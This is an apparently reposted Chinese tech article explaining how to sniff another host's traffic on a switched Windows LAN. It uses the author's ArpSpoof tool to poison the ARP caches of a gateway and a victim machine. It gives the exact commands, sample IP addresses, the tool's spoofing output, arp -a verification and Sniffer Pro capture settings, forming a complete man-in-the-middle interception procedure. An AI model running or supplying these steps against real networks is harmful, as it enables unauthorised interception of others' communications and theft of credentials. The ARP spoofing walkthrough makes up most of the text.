Windows交换环境中ARP Sniffer实现

  • 来源: 驱动中国网络收集 作者: 李祥敬   2010-02-03/13:16
  • 根据交换环境中Sniffer实现的原理(详见交换环境下Sniffer的实现),我写了一个类似于Linux环境下的ArpSpoof实现在Windows环境下的Arp Sniffer。

    在交换环境下Windows中实现Sniffer需要具备的条件:

    1、安装Winpcap驱动。

    2、我写了一个类似于Linux环境下的ArpSpoof(我只在Windows 2000 Server下测试过,其他期待您的测试)。

    3、一个Sniffer,如NetXray或者NAI Sniffer Pro(推荐)。

    具体的实现方法:

    使用ArpSpoof实现基于ARP的欺骗:

    C:\>arpspoof.exe

    ARPSpoof, by netXeyes, Special Thanks BB

    www.netXeyes.com 2002, dansnow@21cn.com

    Usage: ArpSpoof [Spoof IP1] [Spoof IP2] [Own IP]

    其中Spoof IP1和Spoof IP2是想要进行欺骗和嗅探的IP地址,Own IP是自己的IP地址(注意这三个IP必须是在同一个局域网内没有跨越交换机或者路由器)。

    例如目前公司的局域网环境为192.168.0.xxx,子网掩码为255.255.255.0,网关为192.168.0.1。我们的IP为192.168.0.29,想要Sniffer 192.168.0.2的数据包。

    由于网关为192.168.0.1,所以我们就只要欺骗192.168.0.1和192.168.0.2就可以了。也就是说告诉192.168.0.1,192.168.0.2的MAC地址是自己(192.168.0.29);然后再告诉192.168.0.2, 192.168.0.1的MAC地址是自己(192.168.0.29)。这样以来所有的数据包都会发到192.168.0.29,并且由192.168.0.29实现转发(windows 2000默认可以进行包转发,至于Windows 9.x和Windows NT/XP我没有测试过,希望您可以告诉我)。

    C:\>arpspoof.exe 192.168.0.1 192.168.0.2 192.168.0.29

    ARPSpoof, by netXeyes, Special Thanks BB

    www.netXeyes.com 2002, dansnow@21cn.com

    Begin Spoof.........

    Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29

    Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29

    Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29

    Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29

    Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29

    Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29

    .....................................................

    是时候对192.168.0.1和192.168.0.2的ARP欺骗就开始了,在192.168.0.1上面使用arp -a命令可以看到192.168.0.2和192.168.0.29的MAC地址是一样的。

    C:\>arp -a

    Interface: 192.168.0.1 on Interface 0x1000004

    Internet Address Physical Address Type

    192.168.0.2 00-00-86-61-6b-4e dynamic

    192.168.0.29 00-00-86-61-6b-4e dynamic

    同样在192.168.0.2上面也会发现192.168.0.1和192.168.0.29的MAC地址是一样的。

    这样我们就在192.168.0.1和192.168.0.2之间实现了ARP欺骗。

    启动Sniffer Pro,在Define Filter里面的Address Type中选择Hardware(注意不要选为通常的类型IP,否则抓不到什么有意义的东西),Station1和Station2选择设置为Any即可。

    这时候就开始Sniffer了。

    以上结果在我局域网环境中测试通过,不保证适用于所有的环境。

    在开发及测试的过程中得到了BB的大力协助,以至于耽误了其看八卦新闻的时间,内疚了很久......:-)


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多